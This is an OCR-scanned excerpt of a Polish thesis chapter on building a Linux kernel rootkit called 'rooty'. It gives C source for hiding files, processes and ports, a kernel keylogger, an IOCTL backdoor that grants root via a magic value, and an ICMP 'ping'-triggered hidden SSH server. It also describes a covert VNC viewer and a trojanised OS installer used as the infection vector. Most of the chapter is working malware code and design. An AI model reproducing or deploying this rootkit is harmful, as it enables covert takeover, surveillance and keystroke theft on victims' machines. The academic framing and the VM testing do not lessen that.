zarzadzania po$§wiadczeniami systemu Linux. Przyznanie uprawnien administratora
sprowadza si¢ do przypisania procesowi identyfikatora uzytkownika oraz identyfika-
tora grupy wartos$ci odpowiadajacej identyfikatorom grupy administratorow (w sys-

temach Linux jest to 0)[10].

5.5 Ukrywanie plikow i procesow

W wyniku analizy uruchamianych wywotan systemowych przez programy Is (li-
stowanie plikow i katalogéw) oraz ps (listowanie uruchomionych procesow) przy po-
mocy narze¢dzia strace (narzg¢dzie sledzace wywotania systemowe uruchamiane pod-
czas wykonywania zadanego programu) ustalono, ze kazda operacja listowania pli-
koéw czy procesOw wymaga uruchomienia wywolania systemowego iterate poprze-

dzonego wywotaniem filldir, ktore to zwroca liste plikow. Funkcje te operuja na wir-
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tualnym systemie plikow (VFS ang. virtual filesystem). Funkcja systemowa odwotu-
jaca si¢ do wirtualnego systemu pliku uruchamia nastepnie szereg innych funkcji w
zaleznosci od tego, jakiego systemu plikow one dotyczg (partycja dyskowa, system

procesoéw procfs czy inny).

Poczawszy od wersji 2.6.31 jadra systemu Linux adresy funkcji filldir czy readdir
nie s3 eksportowane do plikow nagtowkowych jadra ze wzgleddw bezpieczenstwa.
Adresy te mozna jednak pozyskac¢ ze struktury file_operations zwigzanej z kazdym
wezlem pliku. W strukturze tej zapisane sa wskazniki do funkcji powigzanych z da-

nym typem pliku (plik zwyczajny, plik katalogu procfs)[13].

Utworzone zostaty dwie listy przechowujace nazwy ukrytych plikow czy katalo-
gow oraz identyfikatorow PID procesow do ukrycia: hidden_files oraz hidden_procs.
Dzigki temu bgdzie mozliwa kontrola nad tym, jakie pliki, katalogi i procesy maja

by¢ ukrywane.

Utworzone zostaly zmodyfikowane wersje wywotan systemowych: proc_iterate,
root_iterate (kod zrodtowy 5), proc_filldir, root_filldir (kod zrédtowy 4) oraz funk-
cja zwracajaca adres funkcji wypeiniajacej dla konkretnego systemu plikow

get_vfs_filldir (kod zrédtowy 3).

void *get vfs iterate ( const char *path )

{
void *ret;
struct file *filep;
if ( (filep = filp open(path, O RDONLY, 0)) == NULL )
return NULL;
ret = filep->f op->readdir;
filp close(filep, 0);

return ret;

Kod zrédtowy 3. Funkcja pobierajgca wskaznik do funkcji iteratora®* wirtual-

nego systemu pliku

! Tterowanie w tym przypadku rozumiane jest, jako odczytywanie w petli zawarto$ci podkatalogow.
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W kazdym wezle pliku umieszczone sg wskazniki do r6znych struktur. Jedng z
nich jest struktura f_ops (file_operations) zawierajgca wskazniki do operacji mozli-
wych do wykonania na danym pliku. Dzigki tej wlasnosci mozliwe jest szybkie po-

zyskanie wskaznika do interesujacej nas funkcji.

Na wstepie funkcji get_vfs_iterate (kod zrodtowy 3) nastepuje proba otworzenia
pliku (katalogu) o zadanej nazwie. Po udanym otwarciu pliku mozliwe jest pobranie
wskaznika do funkcji przy uzyciu wyzej opisanej wtasnosci weztow plikow. Plik zo-

staje zamknigty a pobrany wskaznik zwrdcony jako wynik.

static int n root filldir( void * Dbuf, const char *name,
int namelen, loff t offset, u64 ino, unsigned d type )
{
struct hidden file *hf;
list for each entry ( hf, &hidden files, list )

if (! strcmp(name, hf->name) )
return 0;
return root filldir(_ buf, name, namelen, offset, ino,
d_type);

Kod zrodtowy 4. Funkcja listujgca katalog

Jezeli nazwa pliku lub katalogu pokrywa si¢ z ktéra$ z listy zwracane jest zero,
plik taki nie bedzie widoczny. W przeciwnym wypadku zwracany jest wynik orygi-

nalnej funkcji systemowej.

int n_root iterate ( struct file *file, void *dirent,
filldir t filldir )
{
int ret;
root filldir = filldir;
hijack pause(root iterate);
ret = root iterate(file, dirent, n root filldir);
hijack resume (root iterate);
return ret;

Kod zZrodtowy 5. Funkcja podmieniajgca wywolanie systemowe root _iterate

W celu ukrycia plikow podmieniana jest funkcja systemowa root_iterate (kod zro-
dtowy 5). Przypisana zostaje funkcja wypetniajaca filldir (argument funkcji, otrzy-
mywany poprzez funkcje get vfs filldir. Nastepnie chwilowo zostaje zatrzymane

nadpisywanie wywotania, aby mozna byto uruchomic jego oryginalna wersje jednak
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podajac mu jako argument wskaznik na zmodyfikowang funkcje filldir. Nadpisywa-

nie wywotania zostaje przywrocone.

W analogiczny sposob postapiono w przypadku ukrywania procesow. Dodatkowo
zaimplementowane zostaly funkcje umozliwiajace dodawanie i1 usuwanie ukrywa-
nych plikow, katalogow oraz proceséw z list: hide_file, unhide_file, hide_proc, un-

hide_proc.

5.6 Identyfikator procesu przestrzeni uzytkownika

Ze wzgledu na to, 1z przestrzenie jadra oraz uzytkownika sg odseparowane od
siebie i dziataja w innym kregu uprawnien (jadro systemu — ring 0, przestrzen uzyt-
kownika — ring 3) nie jest mozliwe powolywanie nowych procesow z poziomu jadra
w przestrzeni uzytkownika w sposdb znany z przestrzeni uzytkownika. Aby urucho-
mi¢ proces uzytkownika z poziomu jadra systemu nalezy postuzy¢ si¢ specjalnym
interfejsem usermode_helper[10]. Interfejs ten posiada jedng wadg¢ z punktu widzenia
rootkitdéw, a mianowicie nie udostgpnia informacji o identyfikatorze PID procesu.

Struktura subprocess_info nie posiada pola zawierajacego identyfikator PID.

Aby rozwigzac ten problem zaimplementowano wtasng wersje struktury subpro-
cess_info oraz na podstawie implementacji wywotan call_usermode_helper oraz
call_usermode_helper_setup utworzono wiasne wersje tych wywotan kopiujgce
identyfikator PID do zmiennej statycznej w obszarze pamigci rootkita. Ze wzgledu
na to, ze wywolania te nie sg eksportowane poprzez biblioteke systemowag, nalezato
odnalez¢ ich adresy w pliku /proc/kallsyms korzystajac z funkcji kallsyms_loo-
kup_name ktora to zwraca adres wywotania na podstawie nazwy wywolania. Dzigki
tym zabiegom mozliwe byto podmienienie oryginalnych wywotan systemowych
zmienionymi wersjami. Funkcjonalnos¢ ta jest niezbedna ze wzgledu na to, iz w poz-
niejszym czasie b¢eda powolywane procesy serwera SSH oraz VNC w przestrzeni
uzytkownika i bedzie potrzebna informacja o ich identyfikatorze PID, aby mogty by¢

one ukryte przed systemem.
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5.7 UKkrywanie polaczen sieciowych

Ponownie postuzono si¢ narzedziem strace, aby zbadac, jakie wywotania syste-
mowe uzywane sg przez program netstat. Zauwazono, ze wszystkie informacje od-
czytywane byly z plikbw w wirtualnym systemie plikow: /proc/net/tcp,
/proc/net/tcp6, /proc/net/udp oraz /proc/net/udp6 w sposodb podobny jaki miat miej-
sce w przypadku odczytu procesow czy plikow lub katalogow[11]. Po przeanalizo-
waniu dokumentacji systemu Linux (man proc) ustalono, iz problem mozna rozwig-
za¢ w sposob analogiczny pamigtajac jednak o tym, ze pliki te sg plikami sekwencyj-

nymi.

W tym celu utworzono cztery listy, ktore przechowywaé beda numery ukrywa-
nych portow odpowiednio dla protokotow TCP jak 1 UDP korzystajacych z adreso-
wania IPv4 jak i IPv6. Adekwatnie utworzono cztery zmodyfikowane funkcje syste-

mowe.

static int n tcp4 seq show ( struct seq file *seq, void *v )
{

int ret = 0;

char port[12];

struct hidden port *hp;

hijack pause (tcp4 seq show);
ret = tcp4 seq show(seq, v);
hijack resume (tcp4 seq show);

list for each entry ( hp, &hidden tcp4 ports, list )
{
sprintf (port, “:%04X”, hp->port);
if ( strnstr(seg->buf + seg->count - TMPSZ, port, TMPSZ) )
{
seg->count -= TMPSZ;
break;
}
}

return ret;

Kod zrédtowy 6. Funkcja iterujgca plik sekwencyjny potqczen TCP IPv4
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Funkcja tcp4_seq_show (kod zrodlowy 6) jest funkcja iterujaca® plik sekwen-
cyjny. Podobnie jak w przypadku plikow i procesow nalezy wstrzymac nadpisywa-
nie wywolan systemowych, uruchomi¢ oryginalne wywotanie systemowe. Nastgpnie
nalezy wyszuka¢ wzorzec (numer ukrywanego portu). Jezeli wzorzec zostanie znale-
ziony, nalezy zmniejszy¢ licznik pliku sekwencyjnego?, co jest rownoznaczne z usu-

nigciem z niego odczytywanych danych.

void *get tcp seqg show ( const char *path )
{
void *ret;
struct file *filep;
struct tcp seq afinfo *afinfo;
if ( (filep = filp open (path, O RDONLY, 0)) == NULL )
return NULL;
afinfo = PDE(filep->f dentry->d inode)->data;
ret = afinfo->seq ops.show;
filp close(filep, 0);

return ret;

Kod zrodtowy 7. Funkcja pobierajgca adres funkcji iterujgcej

Aby uzyskac adres funkcji iteratora pliku sekwencyjnego postgpiono doktadnie
tak samo jak w przypadku plikow zwyktych. Dokonywana jest proba otwarcia go.

Jezeli si¢ ona powiedzie to bedzie mozliwy odczyt wskaznika na funkcje iteratora.

W identyczny sposéb zaimplementowano obstuge potaczen TCP z adresowaniem
IPv6 oraz potaczenh UDP. Do zarzadzania listami ukrytych portéw stworzone zostato
po cztery funkcje typu hide oraz unhide, ktore to adekwatnie dodaja lub usuwaja nu-

mery portéw z konkretnej listy zwigzanej z typem potaczenia.

5.8 Podstuch klawiatury w czasie rzeczywistym

Do implementacji podstuchu klawiatury w czasie rzeczywistym zdecydowano si¢
uzy¢ mechanizmu wbudowanego w jadro systemu Linux, jakim jest keyboard_noti-

fier[10]. Implementacja taka nie wymaga podmiany zadnych wywotan systemowych

2 lterowanie w tym przypadku rozumiane jest, jako odczytywanie kolejnych porcji danych pliku se-
kwencyjnego w petli.

3 Licznik pliku sekwencyjnego — zmienna zawarta w naglowku pliku sekwencyjnego, informujaca o
jego rozmiarze (ktéry jest zmienny).
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a jedynie rejestracji wlasnej procedury obstugi zdarzen generowanych przez klawia-

ture.

void keylogger init ( void )
{
printk (“rooty: Installing keyboard sniffer\n”);
register keyboard notifier (&nb);
logfile = filp open(LOG_FILE, O WRONLY|O APPEND|O CREAT,

S_IRWXU) ;

if (! logfile )
printk (“rooty: KEYLOGGER: Failed to open log file: %s”,

LOG_FILE);

log ts = kthread run(flusher, NULL, “kthread”);
hide proc(log ts->pid);

Kod zrodtowy 8. Funkcja inicjujgca podstuch klawiatury

W funkcji inicjujacej podstuch klawiatury tworzony jest nowy watek trybu jadra
systemu, ktory bedzie miat za zadanie cykliczne zapisywanie bufora odczytanych
klawiszy do pliku dziennika oraz rejestrowana jest procedura obstugi zdarzen klawia-

tury.

Procedura obstugi zdarzen klawiatury musi ustali¢, z jakiego typu zdarzeniem ma

do czynienia. Moga to by¢ zdarzenia typu:

e KBD_KEYCODE;

e KBD_UNBOUND_KEYCODE;
e KBD_KEYSYM:;

e KBD_POST KEYSYM:;

Aby odczytaé klawisze naci$nigte przez uzytkownika nalezy obstuzy¢ zdarzenie
typu KBD KEYSYM. W tym celu nalezy zdekodowa¢ warto$¢ parametru przekaza-
nego do procedury obstugi zdarzenia poprzez funkcje translate_keysym. Funkcja ta
sprawdza, jakiego rodzaju klawisz zostal wcisnigty poprzez odczyt bitow 8-12. W
zalezno$ci od odczytanej wartosci moga to by¢ klawisze standardowe, funkcyjne,
klawisze bloku numerycznego w przypadku wilaczonej lub wytgczonej blokady
NumLock, klawisze modyfikujace (Control, lewy Alt, prawy Alt, Shift) lub klawisze

strzalek. W zaleznos$ci od typu klawisza uruchamiane sg dalsze funkcje dekodujace
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warto$¢ klawisza na podstawie mapy klawiszy. Ostatecznie kod odczytanego klawi-

sza zapisywany jest do bufora a po zapetnieniu bufora (128 bajtow) do pliku /.keylog.

5.9 Interfejs IOCTL

Mechanizm IOCTL (ang. Input/Output Control — kontrola wejscia/wyjscia) jest
szeroko stosowanym mechanizmem komunikacji miedzy aplikacjami uzytkownika a
urzadzeniami (sterownikami) jadra systemu[5]. Dzigki temu mechanizmowi mozliwe
jest przyktadowo kontrolowanie konfiguracji urzadzen sieciowych (adresow IP, ta-
blic routingu itp.). Aby moc kontrolowaé urzadzenie otwierane jest gniazdo sieciowe

migdzy aplikacja a urzadzeniem 1 wysylane sg komendy wraz z parametrami.

Ze wzgledu na to, 1z rootkit ma zostawiac jak najmniej sladow swojej egzystencji
w systemie, zdecydowano uzy¢ mechanizmu IOCTL w odmienny sposob, tak aby nie

bylo potrzeby tworzenia pliku urzadzenia do ktérego ma by¢ otwierane gniazdo.

Z tego powodu zdecydowano sig¢ odbiera¢ wszystkie pakiety IOCTL poprzez pod-
miang funkcji systemowej inet_ioctl a nastepnie wyszukiwa¢ w nich unikalnej war-
tosci (heksadecymalnie 0xDEADCODE). Przekazywany parametr bedzie okreslat

ktora z dostepnych funkcji nalezy uruchomic¢:

Nadanie uprawnien administratora.

Ukrycie procesu o zadanym identyfikatorze PID.
Cofnigcie ukrycia procesu o zadanym identyfikatorze PID.
Ukrycie potaczen na zadanym porcie TCP IPv4.

Cofnigcie ukrycia polaczen na zadanym porcie TCP IPv4.
Ukrycie potaczen na zadanym porcie TCP IPv6.

Cofnigcie ukrycia polaczen na zadanym porcie TCP IPv6.
Ukrycie potaczen na zadanym porcie UDP IPv4.
Cofniecie ukrycia potaczen na zadanym porcie UDP IPv4.

© © N o Ok~ w2 o

Ukrycie potaczen na zadanym porcie UDP IPv6.
10. Cofnigcie ukrycia potaczen na zadanym porcie UDP IPVG6.
11. Ukrycie pliku (katalogu) o zadanej nazwie.

12. Cofnigcie ukrycia pliku (katalogu) o zadanej nazwie.
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Jezeli zawarto$¢ pakietu IOCTL jest rozna od unikalnej warto$ci, uruchamiana

zostaje oryginalna wersja funkcji systemowej.

Dodatkowo zostata zaimplementowana funkcja get_inet_ioctl (kod zrodtowy 9)
pozwalajagca uzyska¢ wskaznik do funkcji obstugi gniazd sieciowych zapytan
IOCTL.

void *get inet ioctl ( int family, int type, int protocol )
{

void *ret;

struct socket *sock = NULL;

if ( sock create(family, type, protocol, é&sock) )
return NULL;
ret = sock->ops->ioctl;

sock release (sock);
return ret;

Kod zrodtowy 9. Funkcja pobierajgca adres funkcji obstugi zapytan IOCTL

Operacja ta zostata zaimplementowana w sposdb analogiczny do operacji pozy-
skiwania iteratorow wirtualnego systemu plikow z tg roznica, ze W tym przypadku

otwierane jest gniazdo sieciowe a nie plik.

static long n_inet ioctl ( struct socket *sock, unsigned int cmd,
unsigned long arg )
{

int ret;

struct s _args args;

if ( cmd == AUTH_TOKEN )

{
ret = copy from user (&args, (void *)arg, sizeof (args));
if ( ret )

return 0;
switch ( args.cmd )
{
VA
// Obstuga komend o numerach 0-12
//

default:
printk (“rooty: IOCTL->Unknown command”);
break;
}
return 0;

}

hijack pause(inet ioctl);
ret = inet ioctl(sock, cmd, arg);
hijack resume (inet ioctl);
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return ret;

Kod zrodtowy 10. Zmodyfikowana funkcja systemowa obstugi zapytan 10CTL

Zmodyfikowana wersja wywotania systemowego inet_ioctl (kod zrodtowy 10)
sprawdza czy komenda jest unikalng komenda 0xDEADCODE, jesli tak to nastepuje
jej obstuga (fragment kodu odpowiedzialny za obstuge celowo zostat usuniety), w
przeciwnym wypadku podmiana wywotania zostaje wstrzymana i uruchomiona zo-

staje oryginalna wersja wywolania.

5.10 Serwer SSH

SSH (Secure Shell) to protokét komunikacyjny, ktory dzigki swoim mozliwo-
sciom wypart protokot TELNET. Protokoét ten udostepnia uwierzytelnianie korzysta-
jace z kryptografii asymetrycznej (RSA lub DSA) oraz szyfrowanie transmisji szy-
frem symetrycznym AES (w pierwszych wersjach protokolu SSH uzywane byto szy-
frowanie DES lub 3DES). Protokoét ten umozliwia uruchomienie zdalnej sesji termi-
nalowej, kopiowanie plikéw (SCP oraz SFTP) czy tez tunelowanie ruchu sieciowego
innych ustug (czesto protokdét SSH uzywany jest do tunelowania ruchu protokotu
VNC). Ustuga ta jest szeroko stosowana w srodowiskach serwerow opartych na sys-
temach Linux. Serwery takie najczeSciej nie posiadaja graficznego interfejsu uzyt-
kownika 1 wszelkie prace administracyjne sg dokonywane poprzez zdalng sesj¢ ter-

minalowa.

Glownym celem kazdego rootkita jest uzyskanie nieautoryzowanego dostepu do
konta administratora systemowego na komputerze ofiary i najcz¢sciej do wykorzy-
stania mozliwo$ci wywotywania komend jako administrator wykorzystuje si¢ proto-

kot SSH.

Z tego powodu w propozycji rozwigzania nie mogto zabrakna¢ implementacji tej
ustugi. Do implementacji ustugi serwera SSH uzyto funkcji jakie udostepnia biblio-

teka libssh.
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W rozwigzaniu zaimplementowano obstuge uwierzytelniania za pomoca hasta
oraz uruchamianie komend systemowych poprzez wywotywanie procesu terminalo-
wego, ktory zostaje ukryty poprzez wystanie zadania do rootkita przy uzyciu inter-

fejsu IOCTL. Szyfrowanie potgcznie jest udostepnione przez biblioteke libssh.

5.10.1  Powolywanie procesu serwera SSH

Proces serwera SSH jest uruchamiany przez modut gtéwny poprzez uzycie inter-
fejsu programistycznego usermode_helper, ktory juz wczesniej zostal zmodyfiko-
wany w taki sposob, aby mozliwe byto pozyskanie identyfikatora PID procesu uru-
chomionego w przestrzeni uzytkownika. Dodatkowg zaletg tego, iz proces urucha-
miany jest przez modul gtowny jest to, iz uzyskuje on te same uprawnienia, czyli

uprawnienia administratora systemu.

Pozostawianie ustugi serwera SSH caly czas uruchomionej nie jest najlepszym
pomystem ze wzgledu na to, iz dokonujac audytu bezpieczenstwa komputera wykryto
by aktywng ustuge, co mogloby wzbudzi¢ podejrzenia ofiary. Dawatoby to rowniez
mozliwos¢ wlamania si¢ do systemu innej osobie niz twdrca rootkita. Z tego wzgledu
zdecydowano uruchamiac¢ ustuge serwera tylko wtedy, gdy otrzymany zostanie spe-
cjalnie spreparowany pakiet ICMP ECHO (potocznie zwany ping) zawierajagcy w

sekcji danych klucz autoryzacyjny (heksadecymalnie 0xDEADCODE).

W tym celu konieczne byto uzycie mechanizmu pozwalajacego przechwytywac
dany typ pakietéw. Jadro systemu Linux udost¢pnia takg mozliwo$¢ poprzez uzycie
ustugi netfilter. Ustuga ta, podobnie jak ustuga keyboard_notifier (rozdziat 5.8) po-
zwala zarejestrowac wtasng funkcje, ktora bedzie obstugiwa¢ dany typ zdarzenia, w
tym przypadku nadejscia pakietu ICMP[3]. W tym celu zaimplementowana zostata
funkcja init_icmp (kod zrédtowy 11).
void init_icmp (void)

{ printk (“rooty: Monitoring ICMP packets via netfilter\n”);
pre_hook.hook = watch icmp;
pre hook.pf = PF_INET;

pre hook.priority = NF IP PRI FIRST;
pre_hook.hooknum NF INET PRE ROUTING;

nf register hook (&pre hook);
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Kod zrodtowy 11. Funkcja inicjujgca filtr pakietow

Aby zarejestrowac¢ whasng funkcje¢ obstugi zdarzen ustugi netfilter nalezy zdefi-
niowac strukture nf_hook_ops poprzez wypetnienie jej poszczegolnych pol takich jak
wskaznik na funkcje obstugi zdarzenia, typu rodziny potaczen (PF_INET dla pota-
czen IPv4), priorytetu (w tym przypadku najwyzszego) oraz etapu, na jakim zdarze-
nie ma zosta¢ wywolane (w tym przypadku zanim zostanie uruchomiona obstuga
routingu). Po zdefiniowaniu struktury mozna zarejestrowac funkcje obstugi zdarze-

nia.

Kolejnym krokiem, jaki nalezato wykona¢ byta implementacja funkcji obstugi
zdarzenia watch_icmp (kod zroédtowy 12) w taki sposob, aby wynajdywaé interesu-

jace nas pakiety.

unsigned int watch icmp (unsigned int hooknum, struct sk buff *skb,
const struct net device *in,
const struct net device *out, int (*okfn) (struct
sk _buff *) )

struct iphdr *ip header;
struct icmphdr *icmp header;
struct magic icmp *payload;
unsigned int payload size;

ip header = ip hdr (skb);

if (! ip header )

return NF ACCEPT;
if ( ip_header->protocol != IPPROTO ICMP )

return NF_ ACCEPT;

icmp header = (struct icmphdr *) (ip header + 1);
if (! icmp header )

return NF ACCEPT;
payload = (struct magic _icmp *) (icmp header + 1);
payload size = skb->len - sizeof (struct iphdr) -

sizeof (struct icmphdr) ;
printk (“rooty: ICMP packet: payload size=%u, magic=%x,
ip=%x, port=%hu\n”, payload size, payload->magic,
payload->ip, payload->port);
if ( icmp_header->type != ICMP_ECHO || payload size != 4 ||
payload->magic != AUTH TOKEN )
return NF ACCEPT;
if (!isSSHDrunning)
{
startSSHD = 1;
wake up interruptible (&run event);
}
else
{
stopSSHD = 1;
wake up interruptible (&run event);

}
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return NF STOLEN;

Kod zrodtowy 12. Funkcja obstugi zdarzenia przyjecia pakietu ICMP

W pierwszej kolejnosci nalezato sprawdzi¢ nagtowek IP pakietu (pierwsze 8 baj-
tow pakietu), czy nie jest on pusty oraz czy jest to pakiet protokotu ICMP. Jezeli
okazaloby si¢ ze badany pakiet rzeczywiscie jest pakietem ICMP to nalezy sprawdzi¢
czy posiada on nagléwek pakietu ICMP. Jezeli pakiet posiada naglowek 1ICMP
mozna rozpocza¢ analiz¢ nagtowka oraz sekcji danych poprzez sprawdzenie typu pa-
kietu ICMP (poszukiwane sg pakiety ICMP ECHO), rozmiaru sekcji danych (poszu-
kiwana wartos¢ to 4 bajty) oraz zawartos$ci sekcji danych. Jezeli wszystkie powyzsze
warunki zostang spetnione to w zaleznosci od stanu uruchomienia ustugi serwera zo-
stang ustawione flagi uruchomienia badz zamknigcia ustugi oraz obudzony zostaje
watek zarzadzajacy uruchamianiem ustugi. Nie jest mozliwe uruchamianie procesu
serwera SSH z poziomu funkcji obstugi zdarzen, poniewaz proba zablokowania ob-
stugi wielowatkowosci (preempt_disable) na tym etapie zakonczylaby si¢ krytycz-

nym btedem jadra systemu.

W celu zarzadzania uruchamianiem ustugi serwera SSH powotano watek jadra
systemu odpowiedzialny za uruchomienie i ukrycie badZz zakonczenie procesu ser-

wera (kod zrédtowy 13).

int runner (void* par)

{

while (1)

{
wait event interruptible(run event, (startSSHD ==
|| stopSSHD == 1) || kthread should stop());

if (!isSSHDrunning && startSSHD)
{
int ret;
printk (“rooty: Starting SSHD server\n”);
ssh sub info = n call usermodehelper setup( ssh argv[O0],
ssh_argv, ssh envp, GFP_ATOMIC );

if (ssh_sub _info == NULL) return -ENOMEM;
ret = n call usermodehelper( “sbin/sshd”, ssh argv, ssh envp,
UMH WAIT EXEC );
if (ret !'= 0)
{
printk (“rooty: Error in call to sshd: %$i\n”, ret);

return 1;

}

else
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printk (“rooty: SSHD pid %d\n”, callmodule pid);
ssh pid = callmodule pid;
hide proc(ssh pid);

}

isSSHDrunning = 1;

startSSHD = 0;

}
else i1if (isSSHDrunning && StopSSHD)

{
struct siginfo info;
struct task struct *t;
printk (“rooty: Stopping SSHD server\n”);
memset (&info, 0, sizeof (struct siginfo));
info.si signo = 42;
info.si code = SI QUEUE;
info.si int = 1234;
rcu_read lock();
t = pid task(find vpid(ssh pid), PIDTYPE PID);
rcu_read unlock();
if(t != NULL)
send sig info (42, &info, t);
unhide proc(ssh pid);
1sSSHDrunning = 0;
stopSSHD = 0;
}
if (kthread should stop())
return 0;

}

return 0;

Kod zrodtowy 13. Funkcja obstugujgca wqtek zarzqdzania stanem serwera

SSH

Watek nie jest kolejkowany do wykonania dopoki nie zostang spetnione warunki
w postaci ustawienia flag badZ potrzeby zakonczenia go. Dzigki takiej implementacii,
mimo zastosowania nieskonczonej petli, watek nie wytwarza niepotrzebnego narzutu

obliczeniowego procesora.

W przypadku uruchamiania procesu serwera SSH, ustawiane sg parametry §rodo-
wiska uruchomienia (zawarto$¢ zmiennej systemowej, warto$ci parametrow) a na-
stepnie przy uzyciu wezesniej zmodyfikowanego interfejsu programistycznego user-
mode_helper uruchamiany jest proces. W nast¢pstwie modyfikacji mozliwe jest od-

czytanie identyfikatora PID uruchomionego procesu i ukrycie go.

Zakonczenie dziatania procesu ustugi serwera SSH sprowadza si¢ do odnalezienia

wskaznika struktury zadania procesu, a nastepnie wystania sygnatu zakonczenia
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SIGTERM. Sygnaty w przestrzeni jadra numerowane sg w inny sposob niz w prze-

strzeni uzytkownika stad numer wysytanego sygnatu to 42.

5.10.2  Spreparowany pakiet ICMP ECHO

Ustuga serwera SSH jest uruchamiana po otrzymaniu spreparowanego pakietu
ICMP ECHO (zwanego potocznie ping) zawierajacego w sekcji danych klucz auto-
ryzacji (heksadecymalnie 0xDEADCODE). Standardowy program ping, czy to na
platformie Windows czy Linux nie umozliwia zmiany zawartosci sekcji danych, a
jedynie zmian¢ rozmiaru tej sekcji. Domyslnie sekcja danych pakietu ICMP ECHO
wypelniana jest kolejnymi znakami alfabetu zakodowanych w ASCII[3]. Z tego po-
wodu konieczna byta implementacja wlasnego skryptu wysytajacego pakiet ICMP

ECHO spetniajacego stawiane wymagania.

Do implementacji uzyto jezyka Python, jako iz jest to jezyk interpretowany.
Skrypty napisane w tym jezyku nie wymagaja kompilacji i mozliwe jest uruchamia-
nie ich na r6znych platformach systemowych (Linux badz Windows). Kolejnym ar-
gumentem przemawiajacym na korzys¢ jezyka Python w tym zastosowaniu jest pro-
stota obstugi surowych gniazd sieciowych, ktérych nalezato uzy¢, aby wykonac¢ za-

danie.

W pierwszej kolejnosci konieczna byta implementacja funkcji wyliczajacej sume
kontrolng dla nagtowka pakietu TCP. Funkcja zostata zaimplementowana zgodnie z

wytycznymi zawartymi w dokumencie RFC 793.

Kolejnym krokiem bylo przygotowanie zawartosci pakietu. Jezyk Python udo-
stepnia metodg umozliwiajaca przygotowanie pakietu ICMP. Jedyne, co pozostato w
gestii programisty to ustawienie wartosci typu pakietu na ICMP ECHO oraz wypet-
nienie sekcji danych kluczem autoryzacyjnym. Dla gotowego pakietu wyliczana jest

suma kontrolna i tak przygotowany pakiet jest ostatecznie wysytany.

5.11 Serwer VNC

VNC (Virtual Network Computing) to system przekazywania obrazu oraz kon-

troli z fizycznego badz wirtualnego srodowiska graficznego poprzez sie¢. System ten
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umozliwia kontrolowanie zdalnego komputera w taki sposob jakby byta to maszyna

fizyczna.

W rozwigzaniu wtasnym zdecydowano zaimplementowac tylko czes¢ odpowie-
dzialng za przekazywanie obrazu, jako 1z zdalne przesuwanie kursora myszy badz
wprowadzanie znakéw za posrednictwem klawiatury mogloby wzbudzi¢ podejrzenia

u ofiary.

W celu implementacji rozwigzania postuzono si¢ biblioteka libVNCServer oraz
bibliotekami obstugi serwera wy$wietlania obrazu systemu Linux — X11 (X.Org). Ze
wzgledu na to, iz serwer X11 uruchamiany jest w srodowisku konkretnego uzytkow-
nika i nie jest mozliwa administracja serwerem z poziomu administratora systemu,
ustuga serwera VNC nie jest uruchamiana przez modut gtéwny. Serwer moze zostac
uruchomiony po zestawieniu sesji SSH oraz zalogowaniu si¢ na konto uzytkownika,
ktory uruchomit serwer X11. Mozliwe jest to nawet bez znajomosci hasta tego uzyt-

kownika ze wzgledu na uprawnienia administratora systemu.

Aby proces serwera VNC pozostat niewykryty, gtowny modut ukrywa potaczenia
z nim zwigzane (port 5900). Proces serwera VNC poprzez wystanie zgdania IOCTL

zostaje usuniety z listy uruchomionych procesow.

5.12 Klient IOCTL

We weczesniej czeSci pracy zostatla przedstawiona implementacja interfejsu
IOCTL stuzacego do kontroli pracy rootkita (rozdziat 5.9). Aby w peini wykorzystaé
zaimplementowane funkcje interfejsu IOCTL zostat utworzony klient [IOCTL umoz-

liwiajgcy wysytanie odpowiednich komend.

Klient umozliwia wysytanie wszystkich komend obstugiwanych przez rootkit
oraz pustej komendy testowej. Aby uzycie klienta nie mogto by¢ wykryte wysyta on
sam zadanie [OCTL ukrywania wlasnego procesu (kod zrodtowy 14). Klient zostat
stworzony po to aby osoba atakujagca moglta poprzez sesj¢ SSH sterowac praca

rootkita (ukrywac pliki, procesy, potaczenia).
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unsigned short pid = (unsigned short)strtoul (argv[2], NULL, O0);
printf (“Hiding PID %hu\n”, pid);

rooty proc_args.pid = pid;

rooty args.cmd 1;

rooty args.ptr &rooty proc_args;

io = ioctl(sockfd, AUTH TOKEN, &rooty args);

Kod zrodtowy 14. Przyktadowe wywotanie komendy IOCTL ukrywania procesu.

5.13 Metoda infekcji

Aby moc infekowa¢ komputery ofiar spreparowano obraz instalatora systemu
Elementary OS przy uzyciu narzedzia remastersys. Zanim jednak utworzono obraz
instalatora nalezalo przygotowaé system szablonowy. W tym celu dokonano odpo-
wiednich wpisow w plikach konfiguracyjnych ustugi init.d aby modut jadra rootkita
byt tadowany automatycznie w momencie uruchamiania systemu. Nastgpnie skopio-
wane zostaly wszelkie niezbedne pliki binarne zwigzane z rootkitem (serwer SSH,
serwer VNC, klient IOCTL). Po ukonczeniu tych wszystkich czynno$ci mozliwe byto
wygenerowanie obrazu instalatora zainfekowanego systemu. Tak przygotowany in-
stalator nie r6zni si¢ wizualnie niczym od oryginalnego instalatora jednakze oprocz

plikow oryginalnego systemu instalowany jest rOwniez rootkit.
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6. Testy

Utworzony rootkit byl testowany w wirtualizowanym srodowisku opartym o Ele-
mentary OS(odtam dystrybucji Ubuntu, ktére z kolei jest odtamem dystrybucji De-
bian) w wersji 32 bitowej, zainstalowana wersja jadra to 3.2.0-74. Wszystkie biblio-
teki systemu oraz aplikacje przed rozpoczgciem testow zostaty zaktualizowane do
najnowszych wersji dostgpnych w repozytoriach z oprogramowaniem. Jako pomoc-
nicze srodowisko testowe stuzace do wykonywania potaczen poprzez protokdt SSH

oraz VNC postuzono si¢ maszyng dziatajacag pod kontrolg systemu Windows 8.1 Pro.

W celu mozliwosci §ledzenia pracy rootkita w poszczegolnych istotnych momen-
tach wykonania dodano wywotania funkcji printk, ktora to wypisuje komunikaty do

dziennika jadra dostepnego poprzez wywotanie polecenia dmesg.

6.1 FLadowanie modulu jadra

Pierwszym przeprowadzonym testem byt test poprawnosci tadowania modutu j3-
dra. Sprawdzano czy modut jest ladowany w prawidlowy sposéb, czy nie wywoluje
krytycznych bledow jadra i czy nie jest wySwietlany na liscie zatadowanych modu-

16w systemowych.

test@test-virtual-machine: ~

+ | x ..test-virtual-machine; ~

test@test-virtual-machine:~% dmesg | grep rooty
31.815445] rooty: Module loaded
[ 31.815455] rooty: sys_call_table found at c15ba020
[ 31.815595] rooty: Installing keyboard sniffer
[ 31.815726] rooty: Monitoring ICMP packets via netfilter
[ 31.837089] rooty: ICMP packet: payload_size=6?,kmagic=43000045, ip=409aab,

Rysunek 5. Obraz ekranu prezentujgcy dziennik jgdra systemu po zatadowaniu
modutu

